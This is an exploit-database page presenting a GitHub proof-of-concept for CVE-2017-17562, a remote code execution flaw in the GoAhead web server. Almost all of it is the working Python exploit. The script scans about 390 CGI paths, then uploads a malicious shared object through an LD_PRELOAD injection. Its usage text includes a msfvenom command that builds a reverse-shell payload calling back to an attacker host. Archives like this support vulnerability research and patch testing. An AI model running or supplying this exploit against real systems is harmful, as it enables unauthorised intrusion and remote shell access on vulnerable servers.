Exploit database

GH-41972a95790c3d8c09bf20eb95234ade

ivanitlearning/cve-2017-17562

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-17562

10 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
ivanitlearning/cve-2017-17562Revision 9df7dd640a29

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 4,254 bytes
#!/usr/bin/env python3

import requests
import sys
import argparse

hdrs = { 
    "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  }

def check_payload(path):
  try:
    f = open(path,'rb')
    f.close()
    return True
  except IOError:
    print('Payload file not found, exiting...')
    return False

def check_host(rhost,rport):
  try:
    res = requests.post('http://'+ rhost + ':' + str(rport))
    return True
  except requests.exceptions.ConnectionError:
    print('Cannot connect to rhost,rport')
    return False

def find_target_cgi(target):
  # Dictionary for CGI path search, copied from MSF module
  path = [
    '/',
    '/cgi-bin/',
    '/cgi/'
  ]
  
  sub_path = [
    'admin',
    'apply',
    'non-CA-rev',
    'cgitest',
    'checkCookie',
    'check_user',
    'chn/liveView',
    'cht/liveView',
    'cnswebserver',
    'config',
    'configure/set_link_neg',
    'configure/swports_adjust',
    'eng/liveView',
    'firmware',
    'getCheckCode',
    'get_status',
    'getmac',
    'getparam',
    'guest/Login',
    'home',
    'htmlmgr',
    'index',
    'index/login',
    'jscript',
    'kvm',
    'liveView',
    'login',
    'login.asp',
    'login/login',
    'login/login-page',
    'login_mgr',
    'luci',
    'main',
    'main-cgi',
    'manage/login',
    'menu',
    'mlogin',
    'netbinary',
    'nobody/Captcha',
    'nobody/VerifyCode',
    'normal_userLogin',
    'otgw',
    'page',
    'rulectl',
    'service',
    'set_new_config',
    'sl_webviewer',
    'ssi',
    'status',
    'sysconf',
    'systemutil',
    't/out',
    'top',
    'unauth',
    'upload',
    'variable',
    'wanstatu',
    'webcm',
    'webmain',
    'webproc',
    'webscr',
    'webviewLogin',
    'webviewLogin_m64',
    'webviewer',
    'welcome'
  ]
  
  print("Searching 390 paths for an exploitable CGI endpoint...")

  for x in path:
    for y in sub_path:
      res = requests.post(target+x+y+'?LD_DEBUG=help',headers=hdrs)
      if res.status_code == 200:
        print('Exploitable CGI located at '+x+y)
        return x+y

  print('No valid CGI endpoints identified')
  return False

def check_cgipath(rhost,rport,cgipath):
  # Don't do dictionary search if path exists.
  res = requests.post('http://'+ rhost + ':' + str(rport) + cgipath +'?LD_DEBUG=help',headers=hdrs)

  if res.status_code == 200:
    return True
  else:
    return False

def main(rhost,rport,cgipath,payload):

  # Precautionary checks :)
  if not check_payload(payload):
    return 1
  if not check_host(rhost,rport):
    return 1
  
  # Do dictionary search if suppliedl cgipath is incorrect
  if not check_cgipath(rhost,rport,cgipath):
    cgi_path = find_target_cgi('http://'+ rhost + ':' + str(rport))
    if not cgi_path:
      return 1

  else:
    cgi_path = cgipath

  URL = 'http://' + rhost + ':' + str(rport) + cgi_path + '?LD_PRELOAD=/proc/self/fd/0'

  # Read payload from file and send it to CGI module
  f = open(payload,'rb')
  payload = f.read()

  print("Sending payload...")
  res = requests.post(URL,data=payload,headers=hdrs)

  return 0

if __name__ == '__main__':
  parser = argparse.ArgumentParser(description="Generate the payload first, eg: \nmsfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so",epilog="\n\nCall the exploit like this: \n./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so",formatter_class=argparse.RawTextHelpFormatter)
  parser._action_groups.pop()
  required = parser.add_argument_group('Required arguments')
  optional = parser.add_argument_group('Optional arguments')
  required.add_argument('-rhost',help='Target host running Go Ahead webserver eg. 192.168.92.153',required=True)
  optional.add_argument('-rport',default=8080,help='Target port running GoAhead webserver. Default: 8080')
  optional.add_argument('-cgipath',default='/cgi-bin',help='The path to a CGI script on the GoAhead server Default: \'/cgi-bin\' as in http://192.168.92.153/cgi-bin')
  required.add_argument('-payload',help='Path to the malicious elf-so payload. eg dir/payload.so',required=True)
  args = parser.parse_args()
  sys.exit(main(args.rhost,args.rport,args.cgipath,args.payload))